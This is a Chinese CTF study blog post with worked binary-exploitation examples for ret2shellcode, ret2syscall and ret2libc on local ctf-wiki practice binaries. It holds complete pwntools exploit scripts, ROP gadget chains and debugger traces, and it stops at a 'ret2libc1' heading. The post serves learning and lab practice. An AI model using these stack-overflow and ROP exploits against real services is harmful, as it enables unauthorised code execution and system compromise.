0xf7ffd000 0xf7ffe000 0x00023000 rwx /lib/i386-linux-gnu/ld-2.23.so
0xfffdd000 0xffffe000 0x00000000 rwx [stack]

查看vmmap发现bss段有可执行权限

1
0x0804a000 0x0804b000 0x00001000 rwx /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode

我们就控制程序执行 shellcode,也就是读入 shellcode,然后控制程序执行 bss 段处的 shellcode

1
2
3
4
5
6
7
8
9
#!/usr/bin/env python
from pwn import *

sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080

sh.sendline(shellcode.ljust(112, b'A') + p32(buf2_addr))
sh.interactive()

这里如果0x64+4这样算的话只有104,而这里是112,可能是动调的时候有padding吧

另一个例子通过mprotect()动态修改过内存页权限的 ret2shellcode 为例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
# zer0ptr @ DESKTOP-FHEMUHT in ~/Pwn-Research/ROP/ret2shellcode/wiki [21:14:26]
$ checksec ret2shellcode
[*] '/home/zer0ptr/Pwn-Research/ROP/ret2shellcode/wiki/ret2shellcode'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x400000)
    Stack:      Executable
    RWX:        Has RWX segments
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

依旧没保护,并且有可读,可写,可执行段

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char src[104]; // [rsp+0h] [rbp-70h] BYREF
  void *addr; // [rsp+68h] [rbp-8h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  addr = (void *)((unsigned __int64)buf2 & -getpagesize());
  v3 = getpagesize();
  if ( mprotect(addr, v3, 7) >= 0 )
  {
    puts("No system for you this time !!!");
    printf("buf2 address: %p\n", buf2);
    gets(src);
    strncpy(buf2, src, 0x64u);
    printf("bye bye ~");
    return 0;
  }
  else
  {
    perror("mprotect failed");
    return 1;
  }
}

跟上面一个思路,查看buf2还是在bss段

1
2
.bss:00000000004040A0 buf2            db 68h dup(?)           ; DATA XREF: main+51↑o
.bss:00000000004040A0                                         ; main+A4↑o ...

查看bss段是否可执行,断点下在被mprotect调用后的地址

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
pwndbg> b *0x401291
Breakpoint 1 at 0x401291
pwndbg> r
Starting program: /home/zer0ptr/Pwn-Research/ROP/ret2shellcode/wiki/ret2shellcode
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, 0x0000000000401291 in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────
 RAX  0
 RBX  0
 RCX  0x7ffff7d1eb1b (mprotect+11) ◂— cmp rax, -0xfff
 RDX  7
 RDI  0x404000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x403e20 (_DYNAMIC) ◂— 1
 RSI  0x1000
 R8   0x7ffff7e1bf10 (initial+16) ◂— 4
 R9   0x7ffff7fc9040 (_dl_fini) ◂— endbr64
 R10  0x7ffff7c082e0 ◂— 0xf0022000056ec
 R11  0x202
 R12  0x7fffffffde58 —▸ 0x7fffffffe0fd ◂— '/home/zer0ptr/Pwn-Research/ROP/ret2shellcode/wiki/ret2shellcode'
 R13  0x401216 (main) ◂— endbr64
 R14  0x403e18 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011e0 (__do_global_dtors_aux) ◂— endbr64
 R15  0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0
 RBP  0x7fffffffdd40 ◂— 1
 RSP  0x7fffffffdcd0 ◂— 1
 RIP  0x401291 (main+123) ◂— test eax, eax
─────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────
 ► 0x401291 <main+123>    test   eax, eax     0 & 0     EFLAGS => 0x246 [ cf PF af ZF sf IF df of ac ]
   0x401293 <main+125>  ✔ jns    main+149                    <main+149>
   0x4012ab <main+149>    lea    rax, [rip + 0xd66]     RAX => 0x402018 ◂— 'No system for you this time !!!'
   0x4012b2 <main+156>    mov    rdi, rax               RDI => 0x402018 ◂— 'No system for you this time !!!'
   0x4012b5 <main+159>    call   puts@plt                    <puts@plt>

   0x4012ba <main+164>    lea    rax, [rip + 0x2ddf]     RAX => 0x4040a0 (buf2)
   0x4012c1 <main+171>    mov    rsi, rax                RSI => 0x4040a0 (buf2)
   0x4012c4 <main+174>    lea    rax, [rip + 0xd6d]      RAX => 0x402038 ◂— 'buf2 address: %p\n'
   0x4012cb <main+181>    mov    rdi, rax                RDI => 0x402038 ◂— 'buf2 address: %p\n'
   0x4012ce <main+184>    mov    eax, 0                  EAX => 0
   0x4012d3 <main+189>    call   printf@plt                  <printf@plt>
──────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdcd0 ◂— 1
01:0008│-068 0x7fffffffdcd8 ◂— 1
02:0010│-060 0x7fffffffdce0 —▸ 0x400040 ◂— 0x400000006
03:0018│-058 0x7fffffffdce8 —▸ 0x7ffff7fe283c (_dl_sysdep_start+1020) ◂— mov rax, qword ptr [rsp + 0x58]
04:0020│-050 0x7fffffffdcf0 ◂— 0x6f0
05:0028│-048 0x7fffffffdcf8 —▸ 0x7fffffffe0d9 ◂— 0xb0ec6c6b3dbd55d3
06:0030│-040 0x7fffffffdd00 —▸ 0x7ffff7fc1000 ◂— jg 0x7ffff7fc1047
07:0038│-038 0x7fffffffdd08 ◂— 0x10101000000
────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
0         0x401291 main+123
   1   0x7ffff7c29d90 __libc_start_call_main+128
   2   0x7ffff7c29e40 __libc_start_main+128
   3         0x401155 _start+37
──────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size  Offset File (set vmmap-prefer-relpaths on)
          0x400000           0x401000 r--p     1000       0 ret2shellcode
          0x401000           0x402000 r-xp     1000    1000 ret2shellcode
          0x402000           0x403000 r--p     1000    2000 ret2shellcode
          0x403000           0x404000 r--p     1000    2000 ret2shellcode
          0x404000           0x405000 rwxp     1000    3000 ret2shellcode
    0x7ffff7c00000     0x7ffff7c28000 r--p    28000       0 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7c28000     0x7ffff7dbd000 r-xp   195000   28000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7dbd000     0x7ffff7e15000 r--p    58000  1bd000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7e15000     0x7ffff7e16000 ---p     1000  215000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7e16000     0x7ffff7e1a000 r--p     4000  215000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7e1a000     0x7ffff7e1c000 rw-p     2000  219000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7e1c000     0x7ffff7e29000 rw-p     d000       0 [anon_7ffff7e1c]
    0x7ffff7fad000     0x7ffff7fb0000 rw-p     3000       0 [anon_7ffff7fad]
    0x7ffff7fbb000     0x7ffff7fbd000 rw-p     2000       0 [anon_7ffff7fbb]
    0x7ffff7fbd000     0x7ffff7fc1000 r--p     4000       0 [vvar]
    0x7ffff7fc1000     0x7ffff7fc3000 r-xp     2000       0 [vdso]
    0x7ffff7fc3000     0x7ffff7fc5000 r--p     2000       0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7fc5000     0x7ffff7fef000 r-xp    2a000    2000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7fef000     0x7ffff7ffa000 r--p     b000   2c000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ffb000     0x7ffff7ffd000 r--p     2000   37000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ffd000     0x7ffff7fff000 rw-p     2000   39000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffffffde000     0x7ffffffff000 rwxp    21000       0 [stack]

还是通过vmmap看到可执行的bss段

1
0x404000           0x405000 rwxp     1000    3000 ret2shellcode

最终exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
#!/usr/bin/env python3
from pwn import *
context.binary = './ret2shellcode'
context.log_level = 'debug'
io = process('./ret2shellcode')

buf2_addr = 0x4040a0
shellcode = asm(shellcraft.sh())

payload = shellcode.ljust(100, b'\x90')  
payload = payload.ljust(120, b'a')       
payload += p64(buf2_addr)                

io.sendline(payload)
io.interactive()

这里解释一下100和120怎么来的,首先是这个100,strncpy(buf2, src, 0x64u);这里copy100个字节到buf2,我们需要先注入shellcode到buf2进行执行,这里data.ljust方法是不足前面的数字,用后面的字符进行补齐,注入完100个字节后,我们考虑填满栈空间和rbp到返回地址,char src[104]; // [rsp+0h] [rbp-70h] BYREF这里定义了src数组到rbp的距离是0x70也就是112,64位的rbp是8字节,所以加起来是120字节

ret2syscall

ret2syscall,即控制程序执行系统调用,获取 shell

依旧例题起手

1
2
3
4
5
6
➜  ret2syscall checksec rop
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

32位NX保护,不能执行shellcode了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("This time, no system() and NO SHELLCODE!!!");
  puts("What do you plan to do?");
  gets(&v4);
  return 0;
}

可以看出此次仍然是一个栈溢出。类似于之前的做法,我们可以获得 v4 相对于 ebp 的偏移为 108。所以我们需要覆盖的返回地址相对于 v4 的偏移为 112。此次,由于我们不能直接利用程序中的某一段代码或者自己填写代码来获得 shell,所以我们利用程序中的 gadgets 来获得 shell,而对应的 shell 获取则是利用系统调用。

根据wiki上的描述,Linux 在x86上的系统调用通过 int 80h 实现,简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell:

1
execve("/bin/sh",NULL,NULL)

其中,该程序是 32 位,所以我们需要使得

  • 系统调用号,即 eax 应该为 0xb
  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
  • 第二个参数,即 ecx 应该为 0
  • 第三个参数,即 edx 应该为 0

而我们如何控制这些寄存器的值 呢?这里就需要使用 gadgets。比如说,现在栈顶是 10,那么如果此时执行了 pop eax,那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets 的方法,我们可以使用 ropgadgets 这个工具。

首先,我们来寻找控制 eax 的 gadgets

1
2
3
4
5
6
➜  ret2syscall ROPgadget --binary rop  --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

可以看到有上述几个都可以控制 eax,这里我们选择第二个

类似的,我们可以得到控制其它寄存器的 gadgets

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
➜  ret2syscall ROPgadget --binary rop  --only 'pop|ret' | grep 'ebx'
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x0805ae81 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret

这里选择

1
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

这个可以直接控制其它三个寄存器

此外,我们需要获得 /bin/sh 字符串对应的地址

1
2
3
4
➜  ret2syscall ROPgadget --binary rop  --string '/bin/sh' 
Strings information
============================================================
0x080be408 : /bin/sh

还有 int 0x80 的地址

1
2
3
4
5
6
7
8
9
➜  ret2syscall ROPgadget --binary rop  --only 'int'                 
Gadgets information
============================================================
0x08049421 : int 0x80
0x080938fe : int 0xbb
0x080869b5 : int 0xf6
0x0807b4d4 : int 0xfc

Unique gadgets found: 4

综合这几个就能写出exp了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
#!/usr/bin/env python
from pwn import *

sh = process('./rop')

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
    ['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
sh.sendline(payload)
sh.interactive()

听说用的不多

ret2libc

ret2libc 则是用 dynamic link libraries 中的 gadget(虽然这个利用方法叫做 ret2libc,但是所有连接进来的动态链接库都可以作为 gadget 的来源)

ret2libcret2text 类似,但是由于动态链接库的特性所致,在利用时多出了一步,便是泄漏动态链接库的基地址。关于泄漏基地址,这里就要引入两个关于链接库装载的表,got 表和 plt 表。

因为动态链接库的加载时的基地址是随机的,所以当程序调用动态链接库中的函数的时候,实际是转跳到预留在程序中的函数入口,即 plt。而执行到 plt 中后,会先检查对应的函数是否已经加载,如果已经加载,则根据 got 表中记录的地址转跳实际的函数地址。否则先调用加载函数(加载后的函数的地址记录在 got 表中),再转跳到对应的函数。

由此,我们可以知道加载之后的函数地址储存在 got 表中,那么我们就可以想办法将 got 表中的内容输出出来,然后减去偏移,从而实现泄漏动态链接库的基地址(这里计算基地址的原理是动态链接库的加载也是通过映射文件实现的,一个链接库映射到一段连续的内存空间)。拿到基地址之后我们就可以加上偏移获得所需函数或者 gadget。

例子:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
// gcc test.c -no-pie -fno-stack-protector -g
#include <stdio.h>

int main() {
    char str[0x20];
    puts("Hello, world!");

    read(0, str, 0x100);

    return 0;
}

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/python3
# -*- encoding: utf-8 -*-

from pwn import *

# context.log_level = "debug"
# context.terminal = ["konsole", "-e"]
context.arch = "amd64"

p = process("./a.out")

elf = ELF("./a.out")
libc = ELF("./libc-2.31.so")

pop_rdi = 0x00000000004011F3 # gadget: pop rdi; ret
ret = 0x000000000040101A # gadget: ret (用于栈对齐)

puts_plt = elf.plt["puts"] # puts函数的调用入口
puts_got = elf.got["puts"] # 存放puts函数真实地址的表格

main_addr = elf.sym["main"] # main函数的起始地址

payload = b"a" * 0x28
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)

p.send(payload)

puts_addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) # 接收打印出来的真实地址
log.success("puts_addr: " + hex(puts_addr))
libc_base = puts_addr - libc.sym["puts"] # 真实地址-库中的偏移地址=库的起始基地址
log.success("libc_base: " + hex(libc_base))

system_addr = libc_base + libc.sym["system"] # system函数的真实地址
binsh_addr = libc_base + next(libc.search(b"/bin/sh")) # binsh的真实地址

payload = b"a" * 0x28
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(ret)
payload += p64(system_addr)

gdb.attach(p)
p.send(payload)

p.interactive()

这个脚本做了两步,第一步是泄露libc在内存中真实的基地址,第二部就是计算system和binsh的真实地址执行system("/bin/sh"),第一步pop_rdi->puts_got->puts_plt->main_addr就是在main函数返回时调用puts输出我们got表中puts在libc中真实的地址,虽然 ASLR 会随机化基址,但 libc 内部各函数之间的偏移是固定的,我们只要把真实地址减去偏移地址就能得到基地址,然后加上获取到的偏移地址就能计算出所有库中函数的真实地址

其中u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))中的recvuntil是读到\x7f这个字节才停止,因为在64位linux中,libc地址通常是0x00007f开头的,由于机器是小端序,所以在内存中最后读到的会是\x7f,也就是libc的高位,[-6:]只取6字节,是因为虽然我们称之为 64 位地址,但在目前的 Linux x86_64 架构下,虚拟地址实际上只使用了 48 位,48位就是6字节,后面的填充,由于是小端序,不影响数值,这里要填充为8字节是因为pwntools中的u64函数要求接收的字节序列必须是8字节长,它会把这8字节长度转换成python中的整数

下面还是以ctfwiki例题来学习

ret2libc1

Licensed under 9u_l3
使用 Hugo 构建
主题 StackJimmy 设计